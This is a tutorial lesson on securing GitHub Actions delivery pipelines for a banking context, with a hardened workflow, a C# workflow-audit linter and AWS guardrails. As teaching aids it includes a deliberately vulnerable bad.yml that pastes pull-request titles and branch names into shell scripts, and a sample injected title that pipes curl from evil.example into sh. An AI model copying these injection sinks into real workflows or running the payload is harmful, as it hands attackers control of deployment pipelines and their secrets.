Skip to Content
Cloud Engineering Academy
9. DevOps & CI/CD

Pipeline security: protect the machine that deploys your bank

Treat the delivery pipeline as a privileged, attackable system: stop script injection and untrusted pull requests, pin actions and base images, scope tokens and IAM roles, sign and attest artefacts, produce SBOMs, and audit workflows with a small C# linter plus zizmor.

advanced⏱ 1 h 40 min🟢 FreeDOP-C02SCS-C03

Assumes: .NET 10 LTS · GitHub Actions (actions/attest-build-provenance v4.2.2, anchore/sbom-action v0.24.3, aws-actions/configure-aws-credentials v6.3.0) · Docker BuildKit · AWS CLI v2 · Region us-east-1. Verified against official sources on 2026-11-18.

Learning objectives

By the end of this lesson you can:

  • Explain why a pipeline is a high-value target and list its attack surfaces: triggers, expressions, third-party actions, dependencies, tokens, runners, roles and the artefact store.
  • Recognise and fix script injection and the untrusted pull request problem in a GitHub Actions workflow.
  • Pin actions and base images to immutable references, and keep them current through reviewed updates.
  • Scope the GITHUB_TOKEN, OIDC trust policies and deploy roles so a compromised step cannot reach production.
  • Create and verify build provenance attestations and SBOMs, and say honestly what they do and do not prove.
  • Run a workflow audit (a C# tool you can read in full, plus zizmor) as a pipeline gate.

Prerequisites

  • GitHub Actions with OIDC — trust policies on repository, branch and environment.
  • Secrets in CI/CD — where secrets live and how masking fails.
  • Pipeline security scanning — SAST, dependency, secret and image scanning. This lesson is about securing the pipeline itself; that lesson is about what the pipeline scans.
  • Tools: a text editor, Docker or the .NET 10 SDK, and optionally the GitHub CLI (gh).

Why this matters in banking

Attackers have learnt that the easiest way into production is often not the application but the machine that deploys it. A pipeline holds the keys to every environment and runs a great deal of code written by strangers: third-party actions, build plugins and NuGet packages. Public incidents in recent years followed the same shape:

  1. A widely used third-party action or scanner was compromised upstream, and every workflow that referenced it by a movable tag ran the attacker's code. Several such incidents have affected popular actions, including a widely reported compromise of a changed-files action in 2025 and, according to this module's lab notes, a supply-chain compromise of a vulnerability-scanner action in March 2026 ⚠ VERIFY the details before you cite either.
  2. A workflow printed an attacker-controlled pull-request title straight into a shell, so the title became a command (script injection).
  3. A workflow triggered by pull_request_target checked out and ran code from a fork while holding the base repository's secrets.
  4. A pipeline role was AdministratorAccess, so the compromised job could create users and persist.

For a bank, the consequence is not a data-breach footnote: an attacker who controls the pipeline can ship a change that skims transactions and leaves a perfectly "approved" audit trail. Operational-resilience and third-party-risk expectations (see Operational resilience and third-party risk) treat build tooling as a supply chain you must understand and control.

The idea in plain language

Think about a pipeline as four things at once: a program (YAML plus scripts), a set of identities (tokens and roles), a collection of dependencies (actions, packages, base images) and a place where untrusted input arrives (pull requests, issue titles, branch names). Each can be attacked, so each needs a control.

SurfaceAttackCore control
TriggersA fork pull request runs with secrets; workflow_run or pull_request_target runs untrusted code with trusted privilegesPR workflows hold no secrets and no cloud role; avoid pull_request_target for code from forks
Expressions${{ github.event.pull_request.title }} is pasted into a shell scriptPass untrusted values through env: and quote them; never interpolate into run:
Third-party actionsA tag is moved to malicious codePin to a full commit SHA; review updates; restrict allowed actions
Dependencies and imagesA malicious or vulnerable package or base image enters the buildLock and audit packages (NuGet Audit), pin base images by digest, scan, generate an SBOM
TokensAn over-broad GITHUB_TOKEN can push code or alter releasespermissions: at workflow level default to read-only; widen per job
Cloud identityA stolen role session does damageOIDC trust bound to repository and environment; narrow permissions; short sessions
RunnersA job leaves behind files or credentials for the next job (self-hosted runners)Ephemeral runners; no shared state; network egress limits
Artefact storeSomeone overwrites an image tag or uploads a different artefactImmutable tags; digest deployments; signed provenance; locked-down bucket and registry policies
The pipeline definitionAn attacker edits the workflow to exfiltrate secretsCODEOWNERS and branch protection on .github/; reviewed changes only

Analogy: the pipeline is a bank's cash-in-transit depot. You secure the vault (production), but also the depot gate (triggers), the drivers (third-party actions), the vans (runners), the key cabinet (tokens and roles) and the seals on the bags (signed artefacts). A guard who checks the vault but waves the van through unchecked has not secured the system.

What the major terms mean

  • Script injection: an attacker-controlled string becomes part of a command because the workflow template substitutes it into a script before the shell parses it.
  • Pinning: referring to an action by commit SHA (actions/checkout@3d3c42e5…) instead of a movable tag (@v4). A tag can be re-pointed; a full SHA cannot.
  • Provenance attestation: a signed statement saying "this artefact (identified by digest) was built from this repository, at this commit, by this workflow." GitHub can produce one with the actions/attest-build-provenance action.
  • SBOM (software bill of materials): an ingredient list of the artefact's packages, in a format such as SPDX or CycloneDX.
  • SLSA (Supply-chain Levels for Software Artifacts): a framework of progressively stronger build-integrity levels. Provenance and isolated builds are the main ingredients ⚠ VERIFY which SLSA level your setup meets before claiming one.

What problem the controls solve

ControlWhat it gives youLimits and sharp edges
Full-SHA pinningUpstream cannot silently change the code you runYou must update deliberately; use Dependabot for reviewed pull requests. A pinned action can still call unpinned dependencies of its own
permissions: blockLeast privilege for the GITHUB_TOKENA job that sets permissions: replaces the defaults entirely; list everything it needs
Environment protection rulesRequired reviewers and branch restrictions before a job gets environment secrets or an OIDC environment subjectAdmin bypass can exist unless you disable it ⚠ VERIFY for your plan
OIDC trust conditionsA role assumable only from one repository and contextA wildcard sub (for example repo:org/*) reopens the hole
Artefact attestationsEvidence of where and how an artefact was builtThey prove origin, not safety; a malicious commit still gets a valid attestation
SBOMFast answers to "are we affected by this new CVE?"Only as complete as the generator; does not prove the packages are safe
Image signing (Notation with AWS Signer, or Cosign)A verifiable signature on the imageSomething must verify the signature at deploy time; ECS does not do so by itself ⚠ VERIFY current ECS and AWS Signer capabilities
Allowed-actions policyOrganisation-level allow-list of actionsNeeds maintenance; a "require full SHA pinning" repository or organisation setting exists in GitHub ⚠ VERIFY its availability on your plan
Static workflow analysis (zizmor, actionlint)Finds injection, excessive permissions, unpinned referencesA linter cannot see your intent; treat findings as review input

Microsoft / Azure comparison

You know (Microsoft/Azure)AWS or GitHub equivalentWhat is different
Azure Pipelines approved tasks / extensionsGitHub allowed-actions policy plus SHA pinningNo marketplace gatekeeping by default; you set the policy
Pipeline environment checks and approvalsGitHub environment protection rules; CodePipeline manual approvalEnvironments also gate the OIDC sub claim
Secure files / secret variablesEnvironment secrets, Secrets ManagerSee the secrets lesson; the pipeline should hold as few as possible
Managed identity or workload identity federation to AzureOIDC to an IAM roleSame idea: no stored secret
Microsoft Defender for DevOpsGitHub code scanning/advanced security, Amazon Inspector, Security HubDifferent products; map controls, not names ⚠ VERIFY current product scope
Azure Policy to restrict who can deployIAM permission boundaries, SCPs, resource policiesPolicies on the AWS side also constrain a compromised pipeline role
Microsoft-hosted vs self-hosted agentsGitHub-hosted (ephemeral) vs self-hosted runnersSelf-hosted runners are persistent unless you make them ephemeral

Architecture

Defence in depth around one release

Security-boundary view

Data may flow downwards through the zones, but trust never flows upwards: nothing in zone 0 may influence what runs with zone 2 or 3 privileges, except through a reviewed merge.

Step-by-step implementation

Inventory and classify what the pipeline trusts

List every uses: reference, every base image, every package source, every token and every role. For each, write who controls it and how it is pinned. Most teams discover a dozen unpinned references in the first pass.

Lock down the token

Add a workflow-level permissions: contents: read. Widen only inside the job that needs more (for example id-token: write for OIDC, attestations: write for provenance). Remember the job-level block replaces, not extends, the workflow-level one.

Remove injection sinks

Search workflows for ${{ github.event, github.head_ref, inputs. and steps.*.outputs inside run: or script:. Move each to an env: entry and use the shell variable, quoted.

Separate untrusted from trusted triggers

Pull-request workflows run with pull_request (no secrets for forks) and have no cloud role. Never use pull_request_target or workflow_run to execute code from the pull request. If you must comment on a PR, split it into two workflows: an untrusted one that uploads results as an artefact, and a trusted one that only reads the artefact as data.

Pin and update with review

Pin every third-party action to a full commit SHA and note the version in a comment. Pin base images by digest. Add Dependabot for github-actions, nuget, docker and terraform, so updates arrive as reviewed pull requests. The lab's dependabot.yml does this.

Narrow the cloud side

Bind each role's trust policy to one repository and one environment or branch. Give each role only the actions and resources it needs. Add a permissions boundary to pipeline roles so even a mistaken policy attachment cannot grant IAM administration. Add an SCP that denies deployments except through the pipeline role (see Environment separation).

Sign, attest and record

Generate provenance with actions/attest-build-provenance and an SBOM with a generator such as Syft (via anchore/sbom-action). Store them with the image or as retained artefacts. Verify the attestation before deployment.

Gate on the audit

Run a workflow linter in CI. The C# tool in this lesson catches the most common mistakes; zizmor catches many more. Treat errors as build failures and require CODEOWNERS approval for anything under .github/.

AWS Console instructions

The GitHub-side settings are in the GitHub web UI; the AWS-side checks are in the console.

GitHub (repository or organisation):

  1. Settings → Actions → General → Actions permissions. Choose to allow only actions you select, or GitHub-owned and verified creators, and list the exceptions. If the page offers a Require actions to be pinned to a full-length commit SHA option, enable it ⚠ VERIFY availability.
  2. Settings → Actions → General → Workflow permissions. Choose Read repository contents and packages permissions, and leave Allow GitHub Actions to create and approve pull requests off.
  3. Settings → Actions → General → Fork pull request workflows. Require approval for all outside collaborators.
  4. Settings → Rules → Rulesets. Protect main and require review from code owners. Add .github/ to CODEOWNERS (see Git and GitHub for regulated teams).

AWS:

  1. Console → IAM → Roles → your deploy role → Trust relationships. Confirm aud is sts.amazonaws.com and sub is an exact string without wildcards.
  2. Console → IAM → Roles → your deploy role → Permissions boundary. Confirm a boundary is set.
  3. Console → ECR → Repositories → your repository → Permissions. Confirm only the push role may push, and tag immutability is on.
  4. Console → CloudTrail → Event history, filter Event name = AssumeRoleWithWebIdentity. Review which subjects assumed which roles.

AWS CLI

P=learn-sandbox

# 1. Show who may assume a role (the trust policy). Look for exact 'sub' values and no wildcards.
aws iam get-role --role-name hl-m09-gh-deploy-prod \
  --query 'Role.AssumeRolePolicyDocument' --profile $P

# 2. Show the permissions boundary attached to a role (empty output means none).
aws iam get-role --role-name hl-m09-gh-deploy-prod \
  --query 'Role.PermissionsBoundary.PermissionsBoundaryArn' --profile $P

# 3. Check ECR tag immutability and scan-on-push for a repository.
aws ecr describe-repositories --repository-names hl-m09-accounts-api \
  --query 'repositories[0].{immutability:imageTagMutability,scanOnPush:imageScanningConfiguration.scanOnPush}' \
  --profile $P --region us-east-1

# 4. Who assumed roles through GitHub's OIDC provider recently? (CloudTrail management events)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \
  --max-results 20 \
  --query 'Events[].[EventTime,Resources[0].ResourceName]' --output table \
  --profile $P --region us-east-1

# 5. Verify a GitHub provenance attestation for an image you pulled (GitHub CLI, not AWS).
#    The owner flag limits trust to attestations produced by your organisation.
gh attestation verify oci://111122223333.dkr.ecr.us-east-1.amazonaws.com/hl-m09-accounts-api@sha256:4b1f9c0e2d7a6b5c8e3f1a0d9c8b7a6f5e4d3c2b1a09f8e7d6c5b4a39281706f \
  --owner harbourline-learn

Command 5 needs the image to be reachable by the GitHub CLI and the attestation to be stored in a place it can query; the lab's release.yml creates the attestation with push-to-registry: false, so verification there uses the attestation stored by GitHub ⚠ VERIFY the exact gh attestation verify form for container images in your environment.

Infrastructure as Code

Two AWS-side controls that matter for pipeline security: a permissions boundary that caps pipeline roles, and a locked-down artefact bucket.

PipelineGuardrailsStack.cs
using Amazon.CDK;
using Amazon.CDK.AWS.IAM;
using Amazon.CDK.AWS.S3;
using Constructs;

namespace Harbourline.Pipelines;

public class PipelineGuardrailsStack : Stack
{
    public ManagedPolicy PipelineBoundary { get; }

    public PipelineGuardrailsStack(Construct scope, string id, IStackProps? props = null) : base(scope, id, props)
    {
        // A permissions boundary is a ceiling: effective permissions are the intersection of the
        // role's own policies and this boundary, so a mistaken attachment cannot grant more.
        PipelineBoundary = new ManagedPolicy(this, "PipelineBoundary", new ManagedPolicyProps
        {
            ManagedPolicyName = "hl-pipeline-boundary",
            Document = new PolicyDocument(new PolicyDocumentProps
            {
                Statements = new[]
                {
                    new PolicyStatement(new PolicyStatementProps
                    {
                        Sid = "AllowOnlyDeploymentServices",
                        Effect = Effect.ALLOW,
                        Actions = new[]
                        {
                            "ecr:*", "ecs:*", "logs:*", "cloudwatch:*", "elasticloadbalancing:*",
                            "s3:GetObject", "s3:PutObject", "iam:PassRole",
                        },
                        Resources = new[] { "*" },
                    }),
                    new PolicyStatement(new PolicyStatementProps
                    {
                        Sid = "NeverManageIdentitiesOrTheBoundary",
                        Effect = Effect.DENY,
                        Actions = new[]
                        {
                            "iam:CreateUser", "iam:CreateAccessKey", "iam:CreateRole", "iam:AttachRolePolicy",
                            "iam:PutRolePolicy", "iam:DeleteRolePermissionsBoundary", "organizations:*",
                        },
                        Resources = new[] { "*" },
                    }),
                },
            }),
        });

        // Artefact bucket: encrypted, private, TLS only, versioned.
        _ = new Bucket(this, "Artifacts", new BucketProps
        {
            Encryption = BucketEncryption.S3_MANAGED,   // use a customer managed KMS key in production
            BlockPublicAccess = BlockPublicAccess.BLOCK_ALL,
            EnforceSSL = true,
            Versioned = true,
            RemovalPolicy = RemovalPolicy.DESTROY,       // Learning shortcut
            AutoDeleteObjects = true,                    // Learning shortcut
        });

        Amazon.CDK.Tags.Of(this).Add("Project", "cea-lab");
        Amazon.CDK.Tags.Of(this).Add("Lab", "m09-pipeline-security");
    }
}

Role creation (new Role(..., new RoleProps { PermissionsBoundary = boundary })) then references PipelineBoundary.

A boundary that allows ecs:* is broad on purpose in this teaching example; tighten the actions and resources to your service.

Complete code

1. A hardened workflow

The patterns in one place: read-only token, no persisted checkout credentials, pinned actions, untrusted data through env:, narrow job permissions, provenance attestation.

.github/workflows/hardened-example.yml
name: hardened-example

on:
  pull_request:
    branches: [main]
  push:
    branches: [main]

# Default for every job: read the code, nothing else.
permissions:
  contents: read

jobs:
  pr-checks:
    # Safe even for forks: no secrets, no cloud role, read-only token.
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false

      # BAD (do not do this):   run: echo "Title is ${{ github.event.pull_request.title }}"
      # GOOD: the value reaches the shell as data in an environment variable, not as script text.
      - name: Print the pull request title safely
        if: github.event_name == 'pull_request'
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: |
          printf 'Title: %s\n' "$PR_TITLE"

      - name: Audit the workflows themselves
        run: |
          docker run --rm -v "$PWD:/w" -w /w mcr.microsoft.com/dotnet/sdk:10.0 \
            dotnet run tools/WorkflowAudit.cs -- /w/.github/workflows

  build-and-attest:
    if: github.event_name == 'push'
    needs: pr-checks
    runs-on: ubuntu-latest
    timeout-minutes: 20
    permissions:
      contents: read
      id-token: write       # lets the job request an OIDC token; grants nothing by itself
      attestations: write   # lets the job store a provenance attestation
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false

      - name: Build a tiny artefact (stand-in for your image)
        run: |
          mkdir -p dist
          echo "harbourline accounts api ${{ github.sha }}" > dist/app.txt
          sha256sum dist/app.txt > dist/app.txt.sha256

      - name: Attest build provenance
        uses: actions/attest-build-provenance@4d101475d8b20a2381f78447822ac1eab6504dd8 # v4.2.2
        with:
          subject-path: dist/app.txt

2. A workflow audit you can read in full

This single-file C# program checks the five mistakes below. It is deliberately simple so you can read every line and adapt it. It was run against the lab's three workflows (no errors) and against a deliberately bad workflow (six errors).

RuleSeverityWhat it flags
WA001erroruses: not pinned to a 40-character commit SHA
WA002errorno top-level permissions: block
WA003error${{ github.event.* }}, github.head_ref or inputs.* inside a run: script
WA004warningpull_request_target trigger
WA005errora reference to an AWS secret access key
tools/WorkflowAudit.cs
// Usage: dotnet run WorkflowAudit.cs -- <workflows-directory>
// A deliberately small linter for the mistakes that cause most GitHub Actions incidents.
// Exit code 1 if any ERROR is found. For a thorough tool, run zizmor as well (see the lesson).
using System.Text.RegularExpressions;

if (args.Length != 1 || !Directory.Exists(args[0]))
{
    Console.Error.WriteLine("usage: WorkflowAudit <workflows-directory>");
    return 2;
}

var usesRe = new Regex(@"^\s*(?:-\s+)?uses:\s*(?<ref>\S+)", RegexOptions.Compiled);
var pinnedRe = new Regex(@"@[0-9a-f]{40}$", RegexOptions.Compiled);
var runRe = new Regex(@"^(?<indent>\s*)(?:-\s+)?run:\s*(?<rest>.*)$", RegexOptions.Compiled);
var untrustedRe = new Regex(@"\$\{\{\s*(github\.event\.|github\.head_ref|inputs\.)", RegexOptions.Compiled);
var errors = 0;

foreach (var file in Directory.EnumerateFiles(args[0], "*.y*ml").OrderBy(f => f))
{
    var lines = File.ReadAllLines(file);
    var name = Path.GetFileName(file);

    void Report(string severity, string rule, int line, string message)
    {
        Console.WriteLine($"{severity,-5} {rule} {name}:{line} {message}");
        if (severity == "ERROR")
        {
            errors++;
        }
    }

    if (!lines.Any(l => Regex.IsMatch(l, @"^permissions:")))
    {
        Report("ERROR", "WA002", 1, "no top-level 'permissions:' block; the default GITHUB_TOKEN may be broader than needed");
    }

    var runIndent = -1; // indentation of the current 'run:' key, or -1 when not inside a run block
    for (var i = 0; i < lines.Length; i++)
    {
        var line = lines[i];
        var number = i + 1;
        var indent = line.Length - line.TrimStart().Length;

        if (runIndent >= 0 && line.Trim().Length > 0 && indent <= runIndent)
        {
            runIndent = -1;
        }

        if (runIndent >= 0 && untrustedRe.IsMatch(line))
        {
            Report("ERROR", "WA003", number, "untrusted expression inside a run: script; pass it through env: and quote the variable");
        }

        var run = runRe.Match(line);
        if (run.Success)
        {
            var rest = run.Groups["rest"].Value.Trim();
            if (rest.Length == 0 || rest[0] is '|' or '>')
            {
                runIndent = run.Groups["indent"].Value.Length;
            }
            else if (untrustedRe.IsMatch(rest))
            {
                Report("ERROR", "WA003", number, "untrusted expression inside a run: script; pass it through env: and quote the variable");
            }
        }

        var uses = usesRe.Match(line);
        if (uses.Success)
        {
            var reference = uses.Groups["ref"].Value;
            if (!reference.StartsWith("./") && !pinnedRe.IsMatch(reference))
            {
                Report("ERROR", "WA001", number, $"'{reference}' is not pinned to a full commit SHA");
            }
        }

        if (Regex.IsMatch(line, @"^\s*pull_request_target\s*:"))
        {
            Report("WARN", "WA004", number, "pull_request_target runs with base-repository secrets; never check out or run PR code in it");
        }

        if (Regex.IsMatch(line, @"AWS_SECRET_ACCESS_KEY|aws-secret-access-key", RegexOptions.IgnoreCase))
        {
            Report("ERROR", "WA005", number, "a long-lived AWS key is referenced; use OIDC and an IAM role instead");
        }
    }
}

Console.WriteLine(errors == 0 ? "No errors." : $"{errors} error(s).");
return errors == 0 ? 0 : 1;

Try it on a bad workflow:

bad.yml
name: bad
on:
  pull_request_target:
jobs:
  x:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: echo "${{ github.event.pull_request.title }}"
      - name: multi
        run: |
          echo hi
          echo "${{ github.head_ref }}"
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
dotnet run tools/WorkflowAudit.cs -- ./bad-workflows

Expected output (six errors, one warning, exit code 1):

ERROR WA002 bad.yml:1 no top-level 'permissions:' block; the default GITHUB_TOKEN may be broader than needed
WARN  WA004 bad.yml:3 pull_request_target runs with base-repository secrets; never check out or run PR code in it
ERROR WA001 bad.yml:8 'actions/checkout@v4' is not pinned to a full commit SHA
ERROR WA003 bad.yml:9 untrusted expression inside a run: script; pass it through env: and quote the variable
ERROR WA003 bad.yml:13 untrusted expression inside a run: script; pass it through env: and quote the variable
ERROR WA001 bad.yml:14 'aws-actions/configure-aws-credentials@v4' is not pinned to a full commit SHA
ERROR WA005 bad.yml:16 a long-lived AWS key is referenced; use OIDC and an IAM role instead
6 error(s).

3. Verify before you deploy

A deployment job should check what it is about to deploy. A minimal version fetches the digest that the build job produced and refuses anything else (this is the "build once, deploy the digest" rule enforced as code):

set -euo pipefail
# IMAGE comes from the build job's output: repository@sha256:...
case "$IMAGE" in
  *@sha256:*) ;;
  *) echo "Refusing to deploy a tag-only reference: $IMAGE" >&2; exit 1 ;;
esac

Code explained line by line

hardened-example.yml

  1. permissions: contents: read at the top — every job starts from the smallest token. A job that needs more declares its own block.
  2. persist-credentials: false — actions/checkout otherwise stores the token in .git/config, where any later step (or any malicious dependency) can read it.
  3. env: PR_TITLE: ${{ github.event.pull_request.title }} — GitHub substitutes the value into the environment, not into the script text. The shell sees a variable, so a title such as "; curl evil.example | sh # is just a string.
  4. printf 'Title: %s\n' "$PR_TITLE" — quoting stops word-splitting; printf with a format string stops the value being interpreted as a format.
  5. if: github.event_name == 'push' on the second job — attestation and any cloud work happen only after merge, not on pull requests.
  6. id-token: write / attestations: write — only the job that signs provenance may request these; neither is granted to the pull-request job.
  7. subject-path: dist/app.txt — the attestation binds the build to this file's digest. For an image you pass subject-name and subject-digest instead, as the lab's release.yml does.

WorkflowAudit.cs

  1. usesRe — matches uses: owner/action@ref with or without a leading - .
  2. pinnedRe = @[0-9a-f]{40}$ — a reference is considered pinned only if it ends with @ plus 40 hexadecimal characters.
  3. runRe and runIndent — YAML block scalars (run: |) are tracked by indentation: lines indented deeper than the run: key belong to the script.
  4. untrustedRe — flags three families of attacker-controlled data: event payload fields, the pull-request source branch name and manual workflow inputs.
  5. if (!lines.Any(... "^permissions:")) — a top-level (column zero) permissions: block is required. Job-level blocks are indented, so they do not satisfy this check.
  6. return errors == 0 ? 0 : 1 — CI gets a non-zero exit code when any error was reported.

Limits: it is line-based, not a YAML parser, so it misses indirect cases (a value passed through steps.*.outputs into a script, or reusable workflow inputs). That is why you also run zizmor.

Security considerations

⚠ Learning shortcut — not for production

The hardened-example.yml runs the audit by pulling a public SDK image and a source file from the same repository, and the artefact stand-in is a text file. In production, pin the SDK image by digest, require CODEOWNERS approval for tools/ as well as .github/, and attest your real container image. The permissions boundary above allows ecs:* and ecr:* on all resources for brevity; a production boundary names exact resources and conditions.

  • Pinning moves the trust, it does not remove it. You trust the commit you reviewed. Review what changes in a Dependabot pull request: the diff of the action's source, not just the version number.
  • A valid attestation is not a safe artefact. It says where the artefact came from. If an attacker merges a malicious change through your approval process, the attestation is still valid. Review and segregation of duties remain essential.
  • Do not trust github.actor or branch names. Attackers choose branch names (feature/$(curl ...)) and pull-request titles; treat all as untrusted text.
  • Self-hosted runners are persistent machines. Use ephemeral runners, isolate them in a dedicated network with restricted egress, and never run untrusted pull requests on them.
  • Tools run with the pipeline's privileges. A scanner or linter you add is also a dependency to vet and pin.
  • Compliance. These controls support but do not constitute compliance with any framework. Mapping them to PCI DSS, your operational-resilience policy or third-party-risk rules is for your compliance and security teams.

Banking use case

Harbourline's platform team owns .github/ and policies/, which CODEOWNERS enforces. Application developers cannot approve their own pipeline changes.

When a popular scanner action is reported as compromised, the team answers the three questions that matter within minutes:

  1. Were we using it? A search for the action name across all repositories.
  2. Were we using the affected version? Because every action is pinned to a SHA, the answer is exact, not "probably".
  3. What could it reach? The pull-request workflow had no secrets and no cloud role; the release workflow's push role could write to one ECR repository and nothing else, and it assumed that role only after merge.

They rotate nothing, because no long-lived secrets existed to steal, and they use the SBOMs to confirm which images contained the action's output. The incident report is two paragraphs.

Common mistakes

  • Pinning to a tag and calling it pinned → tags move → use the full commit SHA with a version comment.
  • Allowing every action → any marketplace action can run in your pipeline → set an allow-list.
  • Using pull_request_target "to get secrets in PRs" → fork code runs with your secrets → split into an untrusted workflow and a trusted one that only reads artefacts as data.
  • Interpolating event data into run: → script injection → use env:.
  • Granting id-token: write workflow-wide → every job can request tokens → grant it only on jobs that assume a role.
  • A wildcard sub in a trust policy → any branch, or even any repository, can assume the role → exact strings only.
  • Skipping CODEOWNERS on .github/ → anyone with write access can alter the pipeline → require platform and security review.
  • Signing without verifying → signatures that nobody checks add no protection → verify in the deployment job or an admission control.
  • Treating the linter as complete → a green result is not a safe pipeline → combine tools, reviews and runtime controls.

Troubleshooting

SymptomLikely causeFix
WorkflowAudit reports WA001 for a local actionReference starts with something other than ./Use a relative path such as ./.github/actions/x
WorkflowAudit reports WA002 but you set permissionsBlock is indented under a job, not at top levelAdd a top-level permissions:
Resource not accessible by integrationToken lacks a permission after you restricted itAdd only that permission to the job that needs it
attest-build-provenance fails with a permissions errorMissing id-token: write or attestations: write on the jobAdd both to that job's permissions:
gh attestation verify finds no attestationWrong subject, owner flag, or attestation not storedCheck the digest, the --owner, and that the attest step ran for that digest
Dependabot PR to update an action fails uses pin checkUpdate changed the formatDependabot updates full-SHA pins and the version comment together; re-run the audit
zizmor reports many findings on an old repositoryYears of unpinned and over-permissioned workflowsFix by severity; start with injection and permissions
AccessDenied from a deploy role after adding a boundaryThe boundary does not allow the actionAdd the exact action and resource to the boundary after reviewing why it is needed

Cost and cleanup

Cost: free. Workflow linting, pinning and attestation use GitHub-hosted minutes (public repositories are free; private ones have a monthly allowance ⚠ VERIFY). The IaC examples create IAM policies (free) and an S3 bucket (cents, if used at all); do not apply them unless you want to inspect them.

If you did apply the guardrails example, remove it:

# CDK
cdk destroy PipelineGuardrailsStack --profile learn-sandbox

# Terraform (from the folder containing pipeline_guardrails.tf)
terraform destroy

# Confirm nothing from the lab remains
aws resourcegroupstaggingapi get-resources --tag-filters Key=Lab,Values=m09-pipeline-security \
  --profile learn-sandbox --region us-east-1

Exercises

  • 🟢 Guided: Create bad.yml as shown, run WorkflowAudit.cs against its folder, and fix each finding until the tool reports "No errors". Run it against labs/m09-delivery-pipeline/.github/workflows and confirm it is clean.
  • 🟡 Challenge: Extend WorkflowAudit.cs with rule WA006: flag any job that sets id-token: write but has no environment: and no if: restricting it to pushes on main. Explain which attack that reduces and one false positive it will produce.
  • 🔴 Live problem: Security announces that a third-party action used in 40 repositories was compromised for 18 hours, and asks within two hours: which repositories ran it, which secrets and roles were reachable, and what must be rotated. Describe your investigation using only the pipeline's own evidence, what you would change afterwards, and what you would tell the incident manager at the one-hour mark.

Assignment

Add a SECURITY-PIPELINE.md to your portfolio repository documenting your pipeline's threat model on one page: the five surfaces from this lesson, the control for each, and the evidence that the control works (for example "workflow audit job, run URL", "trust policy JSON and trust-eval results"). Add WorkflowAudit.cs as a required check for pull requests that touch .github/.

Solutions

Knowledge check

Interview questions

  • "How would you secure a CI/CD pipeline at a bank?" Cover surfaces (triggers, expressions, actions, tokens, roles, artefacts) and one control each: no secrets on PRs, env: for untrusted data, SHA pinning, least-privilege token and OIDC role, immutable and attested artefacts, CODEOWNERS on pipeline files.
  • "What is script injection in GitHub Actions?" Attacker-controlled text substituted into a script before parsing; fix with environment variables and quoting.
  • "A dependency in our pipeline was compromised. What do you do?" Scope by pinned references and run history, assess reach by token and role, rotate, check CloudTrail, then harden.
  • "Provenance versus signing versus SBOM?" Provenance says where it was built; a signature says who vouched for it and that it is unmodified; an SBOM says what is inside. None says it is safe.
  • "Where should the human review sit?" On pipeline definitions (CODEOWNERS), on production approvals by someone other than the author, and on dependency updates.

Certification practice

Completion checklist

  • I can list the pipeline attack surfaces and one control for each
  • I fixed the bad workflow until WorkflowAudit reported no errors
  • I can explain script injection and the env: fix
  • I know what an attestation proves and what it does not
  • I removed any IaC I applied and confirmed nothing is still billing

Key takeaways

  • The pipeline is a privileged, attackable system: secure its triggers, expressions, dependencies, tokens, roles and artefacts.
  • Untrusted data goes through env:; untrusted code never runs with secrets or a cloud role.
  • Pin to full commit SHAs and update through reviewed pull requests.
  • Narrow trust policies (exact sub), narrow permissions, and a boundary cap the damage a compromised job can do.
  • Provenance and SBOMs give you fast, factual answers during an incident; they do not replace review.

Further reading

Independent learning resource — not affiliated with, endorsed or sponsored by Amazon Web Services. AWS and related marks are trademarks of Amazon.com, Inc. or its affiliates. All banking data in examples is fictional. Sample architectures are for learning and are not automatically compliant with GDPR, PCI DSS or any banking regulation.

On this page